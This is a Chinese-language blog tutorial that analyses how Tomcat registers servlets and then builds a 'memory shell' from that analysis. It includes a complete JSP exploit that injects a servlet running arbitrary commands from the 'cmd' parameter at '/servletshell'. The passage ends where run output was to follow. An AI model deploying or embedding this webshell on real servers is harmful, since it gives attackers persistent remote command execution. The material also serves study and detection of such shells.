流程分析
众所周知在Tomcat进行初始化的时候,三大组件遵循:Listener -> Filter -> Servlet 的加载顺序。调用栈大体如下,这里就不带着分析了,是在StandardContext#startInternal里面按顺序加载的。
我们直接来到栈顶的 StandardContext#configureContext()
这里。这个方法里面通过对web.xml进行解析,按照顺序把filterMaps,filterDef,StandardWrapper这样的对象给创建了出来,我们这里重点关注一下StandardWrapper这一部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| private void configureContext(WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
|
在这段代码里,configureContext成功把StandWrapper创建了出来,并添加到了context.children里面。
创建完了之后,fireLifecycleEvent
基本就是个出栈的过程了。我们回到StandardContext
这里,继续跟进一下剩下的StandardWrapper
加载流程。
把前置条件都准备好了,我们来到loadOnstartup这里,也就是加载Servlet的部分这里,由于loadOnStartUp这里比较重要,我们直接粘贴出来,就不截图了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public boolean loadOnStartup(Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0) { continue; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null) { list = new ArrayList<>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
|
引用一下其他师傅给这里的分析
1 2 3
| 注意这里对于Wrapper对象中`loadOnStartup`属性的值进行判断,只有大于0的才会被放入list进行后续的`wrapper.load()`加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过`loadOnStartup`属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
|
到这里为止Servlet的加载流程基本就结束了,正式来到Exp编写环节
Exp编写(引用)
通过上文的分析我们能够总结出创建Servlet的流程
1.获取StandardContext对象
2.编写恶意Servlet
3.通过StandardContext.createWrapper()创建StandardWrapper对象
4.设置StandardWrapper对象的loadOnStartup属性值
5.设置StandardWrapper对象的ServletName属性值
6.设置StandardWrapper对象的ServletClass属性值
7.将StandardWrapper对象添加进StandardContext对象的children属性中
8.通过StandardContext.addServletMappingDecoded()添加对应的路径映射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletshell",name); %>
|
运行结果如下